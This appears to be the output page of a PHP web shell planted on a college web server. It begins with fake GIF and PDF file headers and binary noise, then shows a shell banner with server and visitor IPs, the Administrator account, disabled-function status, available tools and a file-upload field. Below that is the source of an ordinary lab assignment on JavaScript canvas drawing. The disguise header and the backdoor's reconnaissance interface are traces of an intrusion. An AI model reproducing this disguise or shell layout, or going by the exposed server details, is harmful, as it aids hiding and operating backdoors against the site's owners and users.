GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/JimMartinson/CST1022/Labs/Lab11/ |
Upload File : |
<? // JimMartinson/CST1021/Labs/Lab11/Lab11.phpinc $css .= ',colorCode.css'; require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced. #if ( $_SESSION['userId'] != 1 ) { require('Gradebook/EvaluationSubmission_NOTAVAILABLE.phpinc'); exit; } require('common/Browser/Browser.phpinc'); $disabled = ''; $disabled = ' disabled'; ?> <fieldset><legend>Description</legend> The purpose of this lab is to demonstrate your ability to use JavaScript manipulate a canvas element. <?=$gradeNote?> <? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <fieldset><legend><?=$evaluationType?> Instruction</legend> <ol id="main" class="count"> <!-- Step 1 --> <li>Create a folder for this <?=strtolower($evaluationType)?> named <b class="copyText"><?=$evaluationName?></b> and keep all documents used for <?=$evaluationType?> <?=$evaluationNumber?> in that folder.</li> <!-- Step 2 --> <li class="css">Create an external style sheet named <b class="copyText">site.css</b>. <ol> <li>At the top of the style sheet, set the character set with: <tag>@charset <val>"utf-8"</val>;</tag></li> <li>Add this comment: <span class="highCOM copyText">/* <?=$evaluationType?> <?=$evaluationNumber?> External Style Sheet - <?=$userFullName?> */</span></li> <li>This file will contain all CSS code needed to complete this assignment.</li> </ol> </li> <!-- Step 3 --> <li class="page"> Create a an html document: <ol> <li>Name the file <b class="copyText"><?=$saveFilename?>.html</b>.</li> <li>The page must contain the foundation tags. <a href="#notes" class="smaller">See notes</a></li> <li>Title the page <span-content class="copyText"><?=$pageTitle?></span-content>.</li> <li>Add the following elements: <ol> <li>A <span class="highELE">h2</span> heading of <span class="code copyText">Canvas drawing</span></li> <li>Buttons to perform steps 5.1 - 5.3 below.</li> <li>A <span class="highELE">canvas</span> element to draw on.</li> <li>A <span class="highELE">h2</span> heading of <span class="code copyText">Canvas image</span></li> <li>Buttons to perform steps 5.4 - 5.6 below.</li> <li>A <span class="highELE">canvas</span> element to draw the images on.</li> </ol> </li> </ol> <span class="note normal">All css declarations must be in the external style sheet. No internal or inline styles may be used in the html.</span> </li> <!-- Step 4 --> <li class="js"> Create a JavaScript file. <ol> <li>Name the file <b class="copyText">site.js</b>.</li> <li>Begin it with the <b class="code copyText">"use strict";</b> line.</li> <li>Add a comment line: <b class="code copyText">// Main js file for <?=$userFullName?> <?=$evaluationType?> <?=$evaluationNumber?>.</b></li> </ol> </li> <!-- Step 5 --> <li> Add or modify any code (css, html, or javascript) in order to perfom the following: <ol> <li>Draw a pattern of your choosing onto the drawing canvas.</li> <li>Draw another pattern of your choosing onto the drawing canvas.</li> <li>Clear the drawing canvas</li> <li>Load an image into the image canvas.</li> <li>Load another image into the image canvas.</li> <li>Clear the image canvas</li> </ol> You may perform other drawing or image manipulations as you wish. These would be just for fun! <br><div id="show_page_a" class="inline"><a href="#" onClick="divHide('show_page_a'); divShow('hide_page_a'); return false;">See an example:</a></div> <div id="hide_page_a" class="hidden"><a href="#" onClick="divHide('hide_page_a'); divShowInline('show_page_a'); return false;">Hide the example.</a> <? BrowserBegin($evaluationType.' '.$evaluationNumber.' - Jim Martinson - Forms','file:///'.$courseNumber.'/'.$evaluationName.'/'.$evaluationName.'.html'); ?> <img src="example.png" alt="example"> <? BrowserEnd(); ?> </div> </li> <!-- Step 6 --> <li>Turn in your assignment: <ol type="a"> <li>Ensure the following files are in your <b><?=$evaluationName?></b> folder:<? $fileList = array( 'site.css', 'site.js', $saveFilename.'.html', $saveFilename.'_form.png', $saveFilename.'_submit.png', ); natcasesort($fileList); foreach ($fileList as $fileName) { ?> <br><?=$fileName?> <? } ?> </li> <li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b class="copyText"><?=$uploadFilename?></b>.</li> <li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li> <li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li> </ol> </li> </ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <script src="/js/colorCode.js"></script> <? $PartialGradingCriteria = ' Deductions for any elements required by the lab that are not present or incorrect: <br> -assignmentPoints if the <a href="https://jigsaw.w3.org/css-validator/validator.html.en#validate_by_input">CSS Validation Service</a> or <a href="https://validator.w3.org/#validate_by_input">Markup Validation Service</a> report errors. No further grading will be done.<br> -3 for each form element that is not validated correctly. <br> -3 for each missing element or like group. <br> -2 for each incorrect element or like group. <br> -1 for any additional html elements or css rules that have errors. '; require('../LabNotes.phpinc'); require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced. #require('../../ReferencesResources.phpinc'); #require($Instructor['Path'].'/ContactInformation.phpinc'); if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n"; ?>